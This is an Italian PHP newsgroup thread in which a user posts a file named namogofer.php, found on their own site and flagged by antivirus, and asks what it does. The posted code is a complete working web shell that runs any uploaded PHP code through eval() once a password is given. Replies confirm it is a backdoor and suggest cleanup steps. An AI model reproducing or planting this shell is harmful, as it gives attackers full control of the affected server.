Newsgroup: it.comp.www.php
Titolo: namogofer.php

Ne avete sentito parlare?
Ho fatto il salvataggio di un mio sito (700 Mb) ed il mio antivirus mi ha 
segnalato il programma in oggetto come Backdoor.
E' vero?
Vi mostro li codice:
<?
php error_reporting(1);
global $HTTP_SERVER_VARS;
function say($t) { echo "$t\n"; };
function testdata($t) { say(md5("testdata_$t"));
 };
echo "<pre>";
testdata('start');
if (md5($_POST["p"])=="950af65fc9b700623fceb6c321fed1ae"){ if ($code = 
@fread(@fopen($HTTP_POST_FILES["f"]["tmp_name"],"rb"),$HTTP_POST_FILES["f"]["size"])){ 
eval($code); }else{ testdata('f'); }; }else{ testdata('pass'); }; 
testdata('end'); echo "</pre>";
?>
Grazie e ciao 

?>
Questo e' il codice di una backdoor. Si vede che questo namogofer e'
abbastanza simile concettualmente - e l'antivirus e' abbastanza poco
selettivo - da confonderli.
Leonardo
-- 
Enough, enough!  But stranger, ere we part,
Glancing farewell to each nefarious bier,
This warning would I beg you take to heart:
There is an end to e'en the worst career!

 
Hai per caso Wordpress?
le vecchie versioni avevano seri problemi di sicurezza.
elimina i file namogofer.php e controlla se hai file .htaccess
fai una ricerca anche su google per avere qualche info in merito.

 Leonardo
----------------
Quello di cui sopra è il codice che ho preso dal file namogofer. Quindi 
aveva ragione il mio antivirus.
Cosa fa esattamente questo codice?
Esegue il file che gli viene inviato con POST?
Ciao e grazie 

"katayama" <k@t.a> ha scritto nel messaggio news:gca0sk$hs$1...@aioe.org...

No, però uso Fck editor.
Su google ho trovato solamente post in inglese.
Ciao 

 Esegue il file che gli viene inviato con POST?
esattamente... gli passi tramite $_POST un codice qualunque php che
viene eseguito (eval($code)) sul TUO server... anche se il file da
eseguire sta su un'altra macchina (tipicamente dell'attaccante).
praticamente puoi prendere possesso della macchina e "far quello che vuoi"

"katayama" <k@t.a> ha scritto nel messaggio news:gcao72$2d9$1...@aioe.org...

----------
Ok, grazie!
Ciao
Salvatore Paci 

Esegue il file che gli viene inviato con POST?
Si', scusa: pensavo che quel codice fosse tuo, e lo usassi per es. per
aggiornare un sito o cose del genere.
A me capita di dare del codice PHP a un cliente, e poi non riuscire ad
inviargli gli upgrade ("NOOO! Non deve metterci lo ZIP! Deve aprire lo
zip... come? Ah, puo' usare winzip... Per Mac? Si', c'e' qualcosa pure
per Mac, le do il nome... ah, non si apre l'URL? Senta, le invio tutti
i file in chiaro, lei li copia... si', uno ad uno... ma non me lo puo'
dare un accesso ftp? Gli faccio il lavoro io... No, nel contratto c'e'
scritto che io le INVIO gli upgrade, non che li INSTALLO - come potevo
dire di installarli se neanche sapeva su che host metterli, scusi? Era
il 2007... No, non sto cercando scuse, l'upgrade lei ce l'ha, ma ora -
come? - no, intendevo che lei ha i file nella mail, ma vanno messi sul
web server; lei, come mantiene il suo sito? Mi da' l'indirizzo del suo
webmaster? Ah, e' lei stesso... bene, cosa usa? No, quello e' un CMS e
non... IO?!? Vaffanculo LEI!" "Chi era?" "Un cliente soddisfatto").
Lasciarsi una via di scampo, nel caso che l'unica cosa funzionante sia
un collegamento al webserver, mi pareva plausibile, pero' naturalmente
c'e' il rischio che un altro la usi come backdoor.
("Non c'e' problema... l'upgrade e' gia' installato! No, possiamo fare
tutto da qui... si', e' il capitolo 5, 'Manutenzione', e paragrafo 12,
'Manutenzione Rapida', del contratto da Lei firmato... come? Certo, si
puo' disinstallare! Ma a quel punto ai sensi del paragrafo 13, noi non
saremmo piu' tenuti ad alcuna... IO?!? Vaffanculo LEI!" "Chi era?" "Un
cliente soddisfatto")
Leonardo cinico
